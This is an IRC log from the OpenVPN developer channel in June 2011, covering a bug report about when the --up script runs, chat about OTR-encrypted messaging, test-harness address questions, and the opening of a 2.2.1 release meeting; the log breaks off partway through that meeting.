#openvpn-devel 07:04 -!- rajkosto [~rajkosto@cable-94-189-150-102.dynamic.sbb.rs] has quit [Ping timeout: 246 seconds] 07:13 -!- Ejan [~Ejan@112.201.195.113] has left #openvpn-devel [] 07:57 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:57 -!- mode/#openvpn-devel [+v krzie] by ChanServ 08:49 -!- rajkosto [~rajkosto@cable-94-189-150-102.dynamic.sbb.rs] has joined #openvpn-devel 08:52 -!- mattock [~mattock@gprs-internet-ff888400-76.dhcp.inet.fi] has joined #openvpn-devel 08:54 < mattock> meeting today? 08:56 < mattock> do we have anything important topics to discuss? 09:17 -!- mattock [~mattock@gprs-internet-ff888400-76.dhcp.inet.fi] has quit [Ping timeout: 258 seconds] 09:30 -!- rajkosto [~rajkosto@cable-94-189-150-102.dynamic.sbb.rs] has quit [Ping timeout: 248 seconds] 09:39 -!- mattock [~mattock@gprs-prointernet-ffcb6a00-207.dhcp.inet.fi] has joined #openvpn-devel 10:19 * dazo won't manage a meeting today 10:26 < mattock> maybe have one next week about 2.0.1? 10:27 < mattock> and whatever that has accumulated so far 10:44 -!- mattock [~mattock@gprs-prointernet-ffcb6a00-207.dhcp.inet.fi] has quit [Ping timeout: 240 seconds] 10:56 <+krzee> 2.2.1 i hope ;] 11:34 <+krzee> would be cool if there was a --dont-redirect-gateway client config option 11:35 <+krzee> for those who connect to a server they dont control, dont want the pushed redirect-gateway... i know route-nopull exists, but this would ONLY ignore the redirect-gateway 12:03 -!- mattock [~mattock@gprs-prointernet-ffcb6a00-207.dhcp.inet.fi] has joined #openvpn-devel 12:37 -!- mattock [~mattock@gprs-prointernet-ffcb6a00-207.dhcp.inet.fi] has quit [Ping timeout: 240 seconds] 13:10 -!- mattock [~mattock@gprs-prointernet-ffcb6a00-207.dhcp.inet.fi] has joined #openvpn-devel 13:15 -!- mattock [~mattock@gprs-prointernet-ffcb6a00-207.dhcp.inet.fi] has quit [Ping timeout: 240 seconds] 13:25 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:25 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:49 <+krzee> new bug in trac, reported by exes, hes active in #openvpn right now (ticket #142) 14:49 <@vpnHelper> RSS Update - tickets: #142: OpenVPN 2.2 executes user-defined "up" script before connection is attempted <https://community.openvpn.net/openvpn/ticket/142> 14:49 <+krzee> --up script runs even when the server is *down* and CANNOT be connected to 14:50 <+krzee> i changed the name just now to "OpenVPN 2.2 executes user-defined "up" script even when server is down" 14:55 <@vpnHelper> RSS Update - tickets: #142: OpenVPN 2.2 executes user-defined "up" script even when server is down <https://community.openvpn.net/openvpn/ticket/142> 15:48 -!- andj is now known as andj_afk 17:50 -!- dazo is now known as dazo_afk 20:52 * ecrist should get off his ass and work on the new forum stuff 22:10 <+krzie> i just found the key to happiness 22:10 <+krzie> [23:11] *!*@*webchat* added to ignore list. 23:52 <+krzie> oh and *!*@*/web/* added to ignore list. --- Day changed Fri Jun 03 2011 01:54 -!- andj_afk is now known as andj 02:17 -!- dazo_afk is now known as dazo 05:00 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:21 -!- vivas [~vivas@110.159.251.86] has joined #openvpn-devel 06:22 < vivas> hi, is there anyway to speed up openvpn other than compiling with no encryption? 06:26 <@dazo> no, not from build/compile perspective ... configuration wise, checkout !gigabit on #openvpn 07:30 -!- vivas [~vivas@110.159.251.86] has quit [Quit: Leaving] 08:40 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:31 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:31 -!- dazo is now known as dazo_afk 10:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:45 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 11:01 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 11:06 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:38 -!- dazo_afk is now known as dazo 14:02 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 14:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 14:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:14 <@dazo> mattock: while you're here :) meeting next week sounds good 14:14 <@dazo> and I hope I can manage it :) 14:16 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 14:16 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 14:43 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:49 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 15:11 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:36 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:38 -!- dazo is now known as dazo_afk 15:39 -!- cyberroa1ie [~cyberroad@184.106.222.37] has quit [Ping timeout: 258 seconds] 15:40 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 15:52 <@mattock> dazo: let's arrange a meeting next week then! my network connectivity is sporadic at best here at our summer cottage 15:56 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:39 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has quit [Ping timeout: 248 seconds] 16:47 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 21:12 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Connection reset by peer] 21:13 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 23:05 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Jun 04 2011 01:10 <@vpnHelper> RSS Update - wishlist: Clear example <http://forums.openvpn.net/topic8266.html> || firewall for blocking ddos attacks <http://forums.openvpn.net/topic8265.html> 05:18 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:48 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds] 05:48 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 10:39 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:39 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:25 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Quit: can't touch this] 13:25 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 14:57 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:58 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:07 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:07 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:11 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out] 17:12 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 17:34 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has quit [Ping timeout: 240 seconds] --- Day changed Sun Jun 05 2011 05:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 08:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:40 -!- andj is now known as andj_afk 09:12 -!- andj_afk is now known as andj 11:46 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 11:47 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:47 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:47 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:28 <+krzee> dazo_afk, seriously? https://community.openvpn.net/openvpn/ticket/142 is not a bug? 15:28 <@vpnHelper> Title: #142 (OpenVPN 2.2 executes user-defined "up" script even when server is down) – OpenVPN Community (at community.openvpn.net) 15:28 <+krzee> up script should run even when client CANT connect to the server? 15:29 -!- psha [~psha@213.208.162.69] has quit [Quit: zzz] 17:01 <+krzee> whats the difference between --auth and --tls-auth? 17:01 <+krzee> i know what tls-auth does, but the manual seems to say the same thing for --auth 19:28 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 22:02 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Connection reset by peer] 22:07 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel --- Day changed Mon Jun 06 2011 02:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:52 -!- vivas [~vivas@219.93.36.194] has joined #openvpn-devel 04:53 < vivas> anyone can guide me on setup gigabit network: https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux 04:53 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net) 04:53 < vivas> is it support on gigE uplink? 05:02 -!- vivas [~vivas@219.93.36.194] has quit [Quit: Leaving] 05:07 -!- genesis_ [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 05:07 < genesis_> can the bug in 2.2 can be fix or we will have to wait again for the next version to come? 05:18 -!- genesis_ [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Ping timeout: 252 seconds] 05:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:52 <+ecrist> raar 07:52 <+ecrist> what bug is genesis_ talking about? 07:53 <@mattock> no idea 07:54 < Dark-Fx> the grammar repetition bug 07:54 * ecrist stops caring 08:23 <@mattock> time for os upgrade... 08:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:02 <@vpnHelper> RSS Update - tickets: #143: remote-random-hostname bug <https://community.openvpn.net/openvpn/ticket/143> 13:11 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:05 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:05 -!- andj is now known as andj_afk 14:08 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:09 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:09 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:24 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:35 -!- psha [~psha@213.208.162.69] has quit [Quit: zzz] 15:38 -!- dazo_afk is now known as dazo 15:44 -!- Athar [4ee4e25b@gateway/web/freenode/ip.78.228.226.91] has joined #openvpn-devel 15:44 < Athar> Hi 15:45 <@dazo> Athar: hi 15:46 < Athar> I don't know if it's already report, or if it's just a question of client configuration, but when the client have 2 network card, we can lost the network connection. 15:46 < Athar> If we deactivate one of the network card, all is working 15:47 < Athar> (I don't know if this is "clear" for you, I'm French^^) 15:48 <@dazo> Athar: this is a support question primarily ... but I sense this is related to --multihome 15:49 < Athar> ok. 15:50 < Athar> For me, that was firstly a bug due to the networks problems, so I came here first. Sorry if I'm wrong so. 15:52 <@dazo> krzee: yeah, if you check the config, you see that the client does configure the complete TUN/TAP interface *before* it connects ... and --up and --route-up is supposed to be called after the tun/tap device is *ready*. It says nothing about having established as server connection 15:52 <@dazo> (says - as in the man page) 15:53 <+krzee> based on what up scripts on a client are commonly for, is this the right way to do it in your opinion? 15:53 <+krzee> if so, then what should clients be using to add routing / firewall rules only when on the vpn...? 15:53 <+krzee> i guess routing they can use the client config 15:53 <@dazo> yes, it is exactly what the code says, and the man page for that matter 15:54 <@dazo> if they skip doing --ifconfig in the local client config, and get that pushed from the server ... *then* the client will connect first, configure tun/tap and then first run --up and/or --route-up 15:55 <@dazo> and the latter is what is expected ... but when the device is configured locally, before the server connect (due to --ifconfig), this behaviour is exactly as anticipated 15:55 <@dazo> otherwise, we would need a --post-conect script hook 15:58 <+krzee> OHH 15:58 <+krzee> so if the client config uses --ifconfig, it runs up script before connection (even if there *is* no connection) 15:59 <+krzee> but if ifconfig comes from the server (--server for example) then it must connect to run the up script? 15:59 <@dazo> yeah, because tun/tap *is* configured before the connection is established 15:59 <+krzee> well that makes perfect sense 15:59 <@dazo> :) 15:59 <@dazo> so you agree it's not a bug now ;-) 15:59 * dazo realises he has low bat on his laptop 16:00 <+krzee> i agreed it wasnt a bug when you said it wasnt, but i was thinking a needed feature was missing at that point 16:00 <+krzee> now i see that is also not true 16:01 <@dazo> :) 16:02 * dazo need to run again ... on holiday for two more days 16:02 <+krzee> rght on, later 16:02 <+krzee> thanx for the clarification 16:02 <@dazo> no prob :) 16:07 -!- dazo is now known as dazo_afk 16:08 -!- Athar [4ee4e25b@gateway/web/freenode/ip.78.228.226.91] has left #openvpn-devel [] 16:36 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:37 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:37 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:16 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:17 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:17 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Tue Jun 07 2011 00:16 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 00:35 -!- andj_afk is now known as andj 02:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 03:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 04:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:22 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 09:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:26 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:49 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 12:51 -!- andj is now known as andj_afk 13:24 -!- andj_afk is now known as andj 15:19 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:19 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 16:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 16:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 19:10 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 19:10 < bystander> good day guys. I just would like what is the command to properly log-off from the server in client mode. 19:11 < bystander> I dont the see that command on the manual 19:14 < bystander> :( 19:14 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Quit: Page closed] 21:11 -!- Netsplit *.net <-> *.split quits: @d12fk, Dark-Fx, waldner 21:11 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 21:11 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 21:11 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 21:11 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 21:11 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 21:11 -!- Netsplit over, joins: d12fk 23:19 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 23:20 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Jun 08 2011 00:07 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:12 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 00:14 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:33 -!- s7r [~s7r@unaffiliated/s7r] has quit [Remote host closed the connection] 05:22 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 11:23 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 13:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 13:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 13:58 -!- andj is now known as andj_afk 14:16 -!- andj_afk is now known as andj 14:47 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 14:51 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 14:51 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:01 <+krzee> thanx, sent 18:01 <+krzee> android is in a unique position 18:01 <+krzee> i'll sed it on to my friend 18:01 <+krzee> to be the only mobile platform that supports openvpn out of the box 18:01 <+krzee> since it already uses a ton of gpl code 18:01 <+krzee> we'll see what they say 18:01 <+krzee> sometimes googlers aren't allowed to reply 18:01 -!- krzee was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://pastebin.com for posting logs or configs.] 18:01 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:02 <+krzee> grr, ichat doesnt prefix with who said what 18:02 <+krzee> anyways, email to android devs is sent 18:02 <+ecrist> haha 18:02 <+ecrist> </nelson> 18:03 <+ecrist> krzee: adium 18:03 <+ecrist> get rid of ichat 18:03 <+ecrist> seriously 18:03 <+ecrist> unless you use the video chat, that is 18:04 <+krzee> i just didnt like adium 18:04 <+krzee> then again that was yrs ago, maybe i should try it again 18:04 <+ecrist> then you must have been using it wrong 18:04 <+ecrist> it does bonjour, OTR encryption, IRC, jabber, aim, etc etc 18:05 <+ecrist> super super cool 18:05 <+ecrist> I use it for facebook now. facebook uses XMPP, which is sweet 18:05 <+krzee> iirc i tried it before version 1.0 18:05 <+krzee> no shit? isnt xmpp jabber? 18:05 <+ecrist> yeah 18:05 <+krzee> cool! 18:06 <+krzee> (that means ichat can do it too) 18:06 <+ecrist> though, adium had IM support for facebook before they supported xmpp. it was a bit buggy, but functional 18:06 <+ecrist> I like the OTR stuff the best. 18:07 <+ecrist> all my mac-owning family/friends and I can use facebook chat and facebook doesn't have access to our conversations. :D 18:07 <+krzee> ohhhh right 18:07 <+krzee> as long as they also use adium 18:08 <+krzee> in which case may as well have them use your jabber server, same deal 18:08 <+ecrist> OTR is not specific to adium 18:08 <+ecrist> it just supports it 18:08 <+krzee> i know 18:08 <+krzee> but facebook doesnt support it 18:09 <+krzee> so they must use 'some other' jabber client, not facebook 18:09 <+ecrist> right 18:09 <+krzee> in which case they could very well use any jabber server 18:09 <+ecrist> facebook, in their little pop-up chat window used to show the encrypted message (in a garbled state), now, it just says 'Encrypted Conversation' for each message. ;) 18:10 <+ecrist> krzee: in this case, facebook is handy as lots of people use it. 18:10 <+ecrist> if I want encrypted chats with people, I just help them set it up. then I don't need to run jabber at home 18:10 <+ecrist> fwiw, we could do OTR over IRC, as well, but I've never bothered setting it up in irssi 18:11 <+krzee> i have xfish for that 18:11 <+krzee> [16:11] FiSH: Sent my DH1080 public key to ecrist, waiting for reply ... 18:11 <+ecrist> not familiar with that 18:12 <+krzee> not as good methinks 18:12 <+ecrist> there is an xchat-otr 18:12 <+ecrist> http://irssi-otr.tuxfamily.org/ 18:12 <@vpnHelper> Title: Home of irssi-otr and xchat-otr (at irssi-otr.tuxfamily.org) 18:13 <+krzee> ya i should grab that 18:13 <+ecrist> I should, as well. 18:16 <+ecrist> ?OTR? 18:17 <+ecrist> gah 18:17 <+ecrist> heh: 18:17 <+ecrist> 18:16:52 OTR: Key generation for ecrist@irc.freenode.net: initiated. This might take several minutes or on some systems even an hour. If you wanna check that something is happening, see if there are two processes of your IRC client. 18:17 <+ecrist> 18:16:52 OTR: Key generation for ecrist@irc.freenode.net: completed in 0 seconds. Reloading keys 18:18 <+krzee> shit that was quick 18:19 <+krzee> im still updating macports 18:19 <+krzee> to install libotr 18:19 <+krzee> ohh you already used otr in other stuff tho 18:19 <+ecrist> no 18:19 <+ecrist> not here 18:19 <+ecrist> on adium 18:19 <+ecrist> this is irssi 18:20 <+krzee> not same deps? 18:20 <+ecrist> no clue 18:20 <+ecrist> OTR in adium is included 18:20 <+ecrist> the box I'm using irssi from is a monster 18:20 <+krzee> ahh 18:20 <+krzee> and you have good bw 18:20 <+krzee> my port selfupdate is taking forever 18:21 <+krzee> (as is to be expected on this link) 18:23 <+krzee> Warning: It looks like your PortIndex file for rsync://rsync.macports.org/release/ports/ may be corrupt. 18:23 <+krzee> oh how nice 18:23 <+ecrist> OS: FreeBSD 8.2-RELEASE CPU: Intel(R) Xeon(R) CPU E5520 @ 2.27GHz (2261.01-MHz K8-class CPU) RAM: 24GB UP: 101 days 19:37 USERS: 6 LOAD: 0.08 0.07 0.02 (79 processes: 1 running, 78 sleeping) 18:25 <+krzee> oh and that was a bug, false warning when running in interactive mode 18:25 <+krzee> and now i see why you did it so much faster ;] 18:27 <+ecrist> heh 18:28 <+ecrist> OS: FreeBSD 8.2-RELEASE CPU: Intel(R) Xeon(R) CPU E5520 @ 2.27GHz (2261.01-MHz K8-class CPU) RAM: 24GB UP: 101 days 19:43 USERS: 6 LOAD: 0.01 0.05 0.01 (78 processes: 1 running, 77 sleeping) 18:28 <+ecrist> gah 18:29 <+ecrist> OS: FreeBSD 8.2-RELEASE CPU: Intel(R) Xeon(R) CPU E5520 @ 2.27GHz (2261.01-MHz K8-class CPU) RAM: 24GB UP: 101 days 19:44 USERS: 6 LOAD: 0.00 0.04 0.01 (78 processes: 1 running, 77 sleeping) 18:29 <+ecrist> there are 2 packages, 4 cores each on that box, as well 18:29 <+ecrist> so, as i said, monster 18:31 * ecrist bails 18:31 <+ecrist> going to a beer meeting with some friends/local BSD group 18:31 <+ecrist> l8r 18:32 <+krzee> nice 18:32 <+krzee> later 19:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 250 seconds] --- Day changed Thu Jun 09 2011 00:02 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:21 -!- s7r1 [~s7r@82.137.10.70] has joined #openvpn-devel 00:22 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving.] 00:23 -!- s7r1 [~s7r@82.137.10.70] has left #openvpn-devel [] 00:24 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 00:28 -!- s7r1 [~s7r@82.137.10.70] has joined #openvpn-devel 00:28 -!- s7r1 [~s7r@82.137.10.70] has left #openvpn-devel [] 00:28 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 252 seconds] 00:59 -!- andj is now known as andj_afk 01:04 -!- dazo_afk is now known as dazo 01:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:44 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 255 seconds] 01:51 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 05:26 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-06-09 05:26 <@vpnHelper> Title: Topics-2011-06-09 – OpenVPN Community (at community.openvpn.net) 05:55 -!- dazo is now known as dazo_afk 05:59 -!- dazo_afk is now known as dazo 06:39 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 06:47 <@cron2> re 06:47 * cron2 isback 06:52 <@cron2> meeting today will be... interesting 07:40 <@mattock> cron2: it will, for sure :) 07:42 <@dazo> :) 07:42 <@mattock> cron2: is there a reason why the last number in EXCEPT_IFCONFIG changes (either 1 or 2) between tests? 07:43 <@mattock> in t_client.rc 07:43 <@mattock> or have I just typoed at some point? 07:48 <@mattock> or, what does ".2 wg subnet!" mean? 07:56 <@cron2> mattock: that's what the client script expects to see from the server - and the server will assign different things depending on "--topology" used 07:56 <@cron2> it's EXPECT, btw :-) 07:56 <@mattock> oh yes :) 07:56 <@cron2> for --topology net30, the server will assign "base address + 6" to the first client that connects 07:56 <@cron2> for --topology subnet, it will be "base address + 2" 07:57 <@mattock> oh, I see 07:57 <@cron2> "wg." is german abbreviation for "because of" 07:57 <@mattock> and if multiple clients connect in random order, I'm hosed, right? :P 07:57 <@mattock> what if I use ccds? 07:57 <@mattock> (which was my intention) 07:58 <@cron2> mattock: you need to use ccds, or a sticky pool, so that you know in advance which client will get what IP(v4+v6) address 07:58 <@mattock> ok, then I can get the integration done 07:58 <@cron2> sticky pool = --ifconfig-pool-persist 07:58 <@mattock> it's not going to be pretty for various reasons, but should work 07:58 <@cron2> so the server will assign "the next free one" to an yet-unknown client and remember that decision 07:59 <@cron2> ccd might be easier to maintain in the long run 07:59 <@mattock> yep, I'll use those 07:59 <@mattock> thanks! 08:06 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving.] 08:28 -!- dazo is now known as dazo_afk 08:29 -!- dazo_afk is now known as dazo 11:26 -!- andj_afk is now known as andj 11:48 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 11:48 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 13:01 <@cron2> meeting 13:01 <@cron2> let's go about it and be quick, I'm up since 04:30 and it's now 20:00 over here - and I'm tired 13:03 <@dazo> :) 13:04 <@dazo> agreed :) 13:04 <@mattock> meeting time 13:05 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-06-09 13:05 <@vpnHelper> Title: Topics-2011-06-09 – OpenVPN Community (at community.openvpn.net) 13:05 <@mattock> 2.2.1 patch queue? 13:05 <@mattock> what's missing? 13:06 <@mattock> dazo? 13:06 <@dazo> tbh, I don't know 13:06 <@cron2> dazo? 13:06 <@mattock> are the VS2008 build fixes already in "master"? 13:06 <@dazo> I remember having merged in quite some patches ... 13:06 <@dazo> most of them, yes ... I think there was some more cleanup from jjo which I'm not sure of 13:07 <@mattock> we can take a look later 13:07 <@mattock> I think we should set a release date today 13:07 <@dazo> sure can do! 13:08 <@cron2> dazo: did you merge to master? I thought it's all in the winbuild-test branch? 13:08 